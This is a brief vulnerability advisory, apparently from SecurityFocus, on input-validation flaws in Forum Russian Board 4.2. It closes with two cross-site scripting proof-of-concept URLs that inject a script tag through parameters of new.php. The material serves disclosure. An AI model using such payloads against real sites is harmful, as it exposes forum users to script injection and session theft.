source: https://www.securityfocus.com/bid/14045/info
       
Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.
       
Forum Russian Board 4.2 is reported to be affected. 

new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script>
new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script>